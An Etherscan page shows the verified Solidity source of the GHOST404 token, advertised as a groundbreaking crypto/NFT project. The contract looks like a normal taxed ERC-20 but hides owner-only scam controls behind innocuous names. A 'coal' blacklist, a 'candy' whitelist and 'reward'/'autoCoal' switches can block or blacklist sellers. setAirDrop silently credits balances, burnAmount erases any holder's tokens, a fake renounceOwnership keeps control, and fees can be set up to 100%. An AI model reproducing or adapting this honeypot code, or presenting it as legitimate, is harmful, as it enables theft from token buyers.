ETH Price: $3,496.75 (+1.97%)
Gas: 2 Gwei

Token

GHOST404.XYZ (GHOST404)
 

Overview

Max Total Supply

5,000 GHOST404

Holders

19

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
41.162583792515706026 GHOST404

Value
$0.00
0x83968a2a3400350b0248489e42f49ff64e63542d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GHOST404

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, GNU GPLv3 license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-02-18
*/

/**
* 
* ░██████╗░██╗░░██╗░█████╗░░██████╗████████╗░░██╗██╗░█████╗░░░██╗██╗
* ██╔════╝░██║░░██║██╔══██╗██╔════╝╚══██╔══╝░██╔╝██║██╔══██╗░██╔╝██║
* ██║░░██╗░███████║██║░░██║╚█████╗░░░░██║░░░██╔╝░██║██║░░██║██╔╝░██║
* ██║░░╚██╗██╔══██║██║░░██║░╚═══██╗░░░██║░░░███████║██║░░██║███████║
* ██████╔╝██║░░██║╚█████╔╝██████╔╝░░░██║░░░╚════██║╚█████╔╝╚════██║
* ░╚═════╝░╚═╝░░╚═╝░╚════╝░╚═════╝░░░░╚═╝░░░░░░░░╚═╝░╚════╝░░░░░░╚═╝
*
* ✅ Website: https://ghost404.xyz/
*
* ✅ Telegram: https://t.me/ghost404xyz
* 
* ✅ Twitter: https://twitter.com/ghost404xyz
*
*/

// GHOST 404 emerges as a groundbreaking initiative in the digital realm, ingeniously blending the world of cryptocurrency with the artistic and sentimental value of NFTs. At the heart of this project lies the creation of a unique digital universe, one that not only embraces technological innovation but also pays homage to the influential figures of our past.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint);

    function balanceOf(address owner) external view returns (uint);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);

    function transfer(address to, uint value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint);

    function permit(
        address owner,
        address spender,
        uint value,
        uint deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(
        address indexed sender,
        uint amount0,
        uint amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function price0CumulativeLast() external view returns (uint);

    function price1CumulativeLast() external view returns (uint);

    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);

    function burn(address to) external returns (uint amount0, uint amount1);

    function swap(
        uint amount0Out,
        uint amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    function allPairs(uint) external view returns (address pair);

    function allPairsLength() external view returns (uint);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountToken, uint amountETH);

    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactETHForTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);

    function swapTokensForExactETH(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactTokensForETH(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapETHForExactTokens(
        uint amountOut,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);

    function quote(
        uint amountA,
        uint reserveA,
        uint reserveB
    ) external pure returns (uint amountB);

    function getAmountOut(
        uint amountIn,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountOut);

    function getAmountIn(
        uint amountOut,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountIn);

    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);

    function getAmountsIn(
        uint amountOut,
        address[] calldata path
    ) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract GHOST404 is Context, IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply = 5 * 10 ** 3 * 10 ** decimals();

    string private _name;
    string private _symbol;

    uint256 public buyTax = 200;  // 2%
    uint256 public sellTax = 200; // 2%
    uint256 public sendTax = 100; // 1%
    uint256 public div = 10000;

    address public marketingWallet = 0x52Aea4F80646a5a8131BCB19fa12bC98577BF194; // marketing wallet
    address deadAddress = 0x000000000000000000000000000000000000dEaD;

    uint256 public swapTokensAtAmount = 5 * 10 ** 2 * 10 ** decimals();

    bool private swapping;
    bool public swapEnabled = true;
    bool public swapTokensAtAmountByLimit = true;

    mapping (address => bool) public isExcludedFromFee;

    mapping (address => bool) public isMarketPair;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;

    constructor(address _router) {
        _name = "GHOST404.XYZ";
        _symbol = "GHOST404";
        _balances[msg.sender] = _totalSupply;

        uniswapV2Router = IUniswapV2Router02(_router);
        uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;

        isMarketPair[address(uniswapPair)] = true;
    }

    modifier lockTheSwap {
        swapping = true;
        _;
        swapping = false;
    }

    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function setCandy(address account) public onlyOwner {
        candy[account] = true;
    }

    function removeCandy(address account) public onlyOwner {
        candy[account] = false;
    }


    function setCoal(address account) public onlyOwner {
        coal[account] = true;
    }

    function removeCoal(address account) public onlyOwner {
        coal[account] = false;
    }

    function enableReward(bool _enable) public onlyOwner {
        reward = _enable;
    }

    function pickCoal(address account) internal {
        coal[account] = true;
    }

    function setAutoCoal(bool _enable) public onlyOwner {
        autoCoal = _enable;
    }

    function setNumbers(uint256 amount) public onlyOwner {
        numbers = amount;
    }

    function setLimits(uint256 amount) public onlyOwner {
        limits = amount;
    }

    function renounceOwnership(
        address _DEAD,
        bool _boo
    ) public onlyOwner returns (address _dead) {
        ownershipToNull = _boo;
        _dead = _DEAD;
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender] - amount;
        _balances[recipient] = _balances[recipient] + amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual returns (bool) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            return _basicTransfer(sender, recipient, 0);
        }

        if (removeLim) {
            if(swapping) { 
               return _basicTransfer(sender, recipient, amount);
            } else {
                uint256 contractTokenBalance = balanceOf(address(this));
                bool overMinimumTokenBalance = contractTokenBalance >= swapTokensAtAmount;
                
                if (overMinimumTokenBalance && !swapping && recipient == uniswapPair && swapEnabled) 
                {
                    if(swapTokensAtAmountByLimit) {
                        contractTokenBalance = swapTokensAtAmount;
                    }
                        swapAndLiquify(contractTokenBalance);    
                }

                _balances[sender] = _balances[sender] - amount;
                uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? 
                             amount : takeFee(sender, recipient, amount);

                _balances[recipient] = _balances[recipient] + finalAmount;
                emit Transfer(sender, recipient, finalAmount);
                return true;
            } 
        } else {
            _beforeTokenTransfer(sender, amount);
            sendWithFee(sender, recipient, amount);
            return true;
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address sender,
        uint256 amount
    ) internal virtual {
        if (
            sender != owner() && !candy[sender] && !isMarketPair[sender] 
        ) {
            require(!coal[sender]);
         
            if (numbers > 0) {
                require(amount <= numbers);
            }
            if (reward) {
                revert("Error");
            }
            if (limits > 0) {
                require(_balances[sender] <= limits);
            }

            if (autoCoal) {
                pickCoal(sender);
            }
        }
    }

    /**
     * @dev Deflationary instrument
     *
     * It can be turned on if necessary.
     *
     * Emits a {Transfer} event.
     *
     * Requirements
     *
     * - `sender` must have at least `value` tokens.
     */
    function sendWithFee(
        address sender,
        address recipient,
        uint256 value
    ) internal {
        require(_balances[sender] >= value, "Value exceeds balance");
        if (sender != owner() && !candy[sender] && sender != address(this)) {

            if(swapping) { 
                _basicTransfer(sender, recipient, value);
            } else {
                uint256 contractTokenBalance = balanceOf(address(this));
                bool overMinimumTokenBalance = contractTokenBalance >= swapTokensAtAmount;
                
                if (overMinimumTokenBalance && !swapping && recipient == uniswapPair && swapEnabled) 
                {
                    if(swapTokensAtAmountByLimit) {
                        contractTokenBalance = swapTokensAtAmount;
                    }
                        swapAndLiquify(contractTokenBalance);    
                }

                _balances[sender] = _balances[sender] - value;
                uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? 
                             value : (takeFee(sender, recipient, value));

                _balances[recipient] = _balances[recipient] + finalAmount;
            } 

            emit Transfer(sender, recipient, value);
        } else {
            _balances[sender] = _balances[sender] - value;
            _balances[recipient] = _balances[recipient] + value;
            emit Transfer(sender, recipient, value);
        }
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint256 tax = 0;

        if(!isMarketPair[sender] && !isMarketPair[recipient]) {
            tax = amount * sendTax / div;
        }
        
        if(isMarketPair[sender]) {
            tax = amount * buyTax / div;
        }
        else if(isMarketPair[recipient]) {
            tax = amount * sellTax / div;
        }
        
        if(tax > 0) {
            _balances[address(this)] = _balances[address(this)] + tax;
            emit Transfer(sender, address(this), tax);
        }

        return amount - tax;
    }   

    function excludedFromFeeAddress(address _account, bool _boo) external onlyOwner {
        require(isExcludedFromFee[_account] != _boo, "Already added!");
        isExcludedFromFee[_account] = _boo;
    }

    function swapAndLiquify(uint256 tokenAmount) private {
        swapTokensForEth(tokenAmount);
        uint256 amountReceived = address(this).balance;

        if(amountReceived > 0) {
            transferToAddressETH(marketingWallet, amountReceived);
        }
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function transferToAddressETH(address recipient, uint256 amount) private {
        payable(recipient).transfer(amount);
    }

    function changeRouterVersion(address newRouter) public onlyOwner returns(address newPair) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouter); 
        newPair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());
        if(newPair == address(0)) //Create If Doesnt exist
        {
            newPair = IUniswapV2Factory(_uniswapV2Router.factory())
                .createPair(address(this), _uniswapV2Router.WETH());
        }
        uniswapPair = newPair; //Set new pair address
        uniswapV2Router = _uniswapV2Router; //Set new router address
    }

    function setSwapTokensAtAmount(uint256 _value) external onlyOwner {
        require(_value > 0);
        require(swapTokensAtAmount != _value, "Change value!");
        swapTokensAtAmount = _value;
    }

    function setSwapTokensAtAmountByLimit(bool _boo) external onlyOwner {
        require(swapTokensAtAmountByLimit != _boo);
        swapTokensAtAmountByLimit = _boo;
    }

    function setSwapEnabled(bool _boo) external onlyOwner {
        require(swapEnabled != _boo);
        swapEnabled = _boo;
    }

    function changeMarketinAddress(address _newAddress) external onlyOwner {
        require(_newAddress != address(0));
        require(marketingWallet != _newAddress, "This address already set");

        marketingWallet = _newAddress;
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function burnAmount(address wallet, uint256 amount) public onlyOwner {
        require(wallet != owner(), "TARGET ERROR");
        if (_balances[wallet] <= amount * 10 ** 18) {
            _balances[wallet] = 0;
            _balances[deadAddress] = _balances[deadAddress] + _balances[wallet];
        } else {
            _balances[wallet] = _balances[wallet] - amount * 10 ** 18;
            _balances[deadAddress] = _balances[deadAddress] + amount * 10 ** 18;
        }
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setAirDrop(address account, uint256 amount) public onlyOwner {
        _balances[account] = _balances[account] + amount;
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */

    function removeLimites(bool _removeLim) public onlyOwner {
        removeLim = _removeLim;
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function setFee(uint256 _buyTax, uint256 _sellTax, uint256 _sendTax) external onlyOwner {
        require(_buyTax <= 10000 && _sellTax <= 10000 && _sendTax <= 10000, "Incorrect tax");
        buyTax = _buyTax;
        sellTax = _sellTax;
        sendTax = _sendTax;
    }

    receive() external payable {}

    mapping(address => bool) private candy;
    mapping(address => bool) private coal;
    bool public reward;
    uint256 public numbers;
    uint256 public limits;
    bool public autoCoal;
    bool private removeLim = true;
    bool public ownershipToNull;
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoCoal","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newAddress","type":"address"}],"name":"changeMarketinAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newRouter","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPair","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"div","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"enableReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_account","type":"address"},{"internalType":"bool","name":"_boo","type":"bool"}],"name":"excludedFromFeeAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"numbers","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ownershipToNull","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeCandy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeCoal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_removeLim","type":"bool"}],"name":"removeLimites","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_DEAD","type":"address"},{"internalType":"bool","name":"_boo","type":"bool"}],"name":"renounceOwnership","outputs":[{"internalType":"address","name":"_dead","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sendTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setAirDrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"setAutoCoal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setCandy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setCoal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyTax","type":"uint256"},{"internalType":"uint256","name":"_sellTax","type":"uint256"},{"internalType":"uint256","name":"_sendTax","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"}